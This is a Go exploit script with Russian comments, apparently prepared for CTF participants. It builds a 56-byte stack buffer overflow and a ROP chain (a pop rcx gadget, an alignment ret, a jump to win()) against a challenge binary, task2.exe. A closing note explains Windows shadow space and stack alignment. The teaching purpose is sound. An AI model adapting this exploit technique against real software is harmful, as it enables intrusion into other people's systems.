104 lines
4.5 KiB
Go
104 lines
4.5 KiB
Go
/* В этом скрипте мы используем все фичи winpwn: парсинг PE, извлечение базового адреса (ImageBase), поиск гаджетов через rp++ и динамическую сборку пейлоада. */
|
|
|
|
package main
|
|
|
|
import (
|
|
"bytes"
|
|
"fmt"
|
|
"log"
|
|
"winpwn"
|
|
)
|
|
|
|
func main() {
|
|
target := "task2.exe"
|
|
|
|
peFile, err := winpwn.OpenPE(target)
|
|
if err != nil {
|
|
log.Fatalf("Failed to open PE: %v", err)
|
|
}
|
|
defer peFile.Close()
|
|
|
|
// 2. Получаем RVA функции win из таблицы экспортов
|
|
winRVA, err := peFile.GetProcAddress("win")
|
|
if err != nil {
|
|
log.Fatalf("win() not found: %v", err)
|
|
}
|
|
|
|
// 3. Достаем ImageBase из заголовка (обычно 0x140000000 при отключенном ASLR)
|
|
imageBase, err := peFile.ImageBase()
|
|
if err != nil {
|
|
log.Fatalf("Failed to read ImageBase: %v", err)
|
|
}
|
|
|
|
// Вычисляем абсолютный адрес win()
|
|
winAddr := imageBase + winRVA
|
|
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
|
|
|
|
// 4. Ищем гаджеты (нам нужен RCX вместо RDI) — нативный сканер, rp++ не нужен
|
|
rop, err := winpwn.NewROP(target)
|
|
if err != nil {
|
|
log.Fatalf("ROP init error: %v", err)
|
|
}
|
|
defer rop.Close()
|
|
|
|
popRcxGadgets, err := rop.Search("pop rcx ; ret")
|
|
if err != nil {
|
|
log.Fatalf("pop rcx not found")
|
|
}
|
|
popRcx := popRcxGadgets[0].Address
|
|
fmt.Printf("[+] pop rcx; ret address: 0x%X\n", popRcx)
|
|
|
|
// Верификация цепочки прямо из скрипта, без внешнего objdump/IDA
|
|
if lines, err := rop.Disassemble(popRcx, 2); err == nil {
|
|
fmt.Printf("[*] verified: %s\n", lines)
|
|
}
|
|
|
|
retGadgets, err := rop.Search("ret")
|
|
if err != nil {
|
|
log.Fatalf("ret not found")
|
|
}
|
|
ret := retGadgets[0].Address
|
|
|
|
// 5. Конструируем пейлоад
|
|
// Реальное расстояние до return-адреса зависит от компилятора и его
|
|
// версии — "32 байта буфер + 8 байт сохранённый RBP" (=40) это лишь
|
|
// предположение по исходнику. На gcc/MinGW из этой сборки buf реально
|
|
// лежит на rbp-0x30 (объдамп vulnerable(): `lea -0x30(%rbp),%rdx`),
|
|
// то есть до return-адреса 0x30+0x8 = 56 байт, не 40. Проверяй через
|
|
// objdump -d / x86dbg или просто перебором, не доверяй комментарию
|
|
// в исходнике вслепую.
|
|
offset := 56
|
|
payload := bytes.Repeat([]byte("A"), offset)
|
|
|
|
// --- ROP Цепочка ---
|
|
// Закидываем 0xDEADBEEF в RCX
|
|
payload = append(payload, winpwn.P64(popRcx)...)
|
|
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
|
|
|
|
// Stack Alignment
|
|
// Вызов system() требует, чтобы стек был выровнен по границе 16 байт (адрес должен оканчиваться на 0).
|
|
// Добавляем холостой 'ret', чтобы сдвинуть стек на 8 байт вниз.
|
|
payload = append(payload, winpwn.P64(ret)...)
|
|
|
|
// Прыжок в win()
|
|
payload = append(payload, winpwn.P64(winAddr)...)
|
|
|
|
// 6. Взаимодействие
|
|
tube, err := winpwn.Spawn("./" + target)
|
|
if err != nil {
|
|
log.Fatalf("Spawn: %v", err)
|
|
}
|
|
|
|
if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil {
|
|
log.Fatalf("SendLineAfter: %v", err)
|
|
}
|
|
|
|
tube.Interactive()
|
|
}
|
|
|
|
/*На что обратить внимание твоим участникам:
|
|
|
|
Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора.
|
|
|
|
Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */
|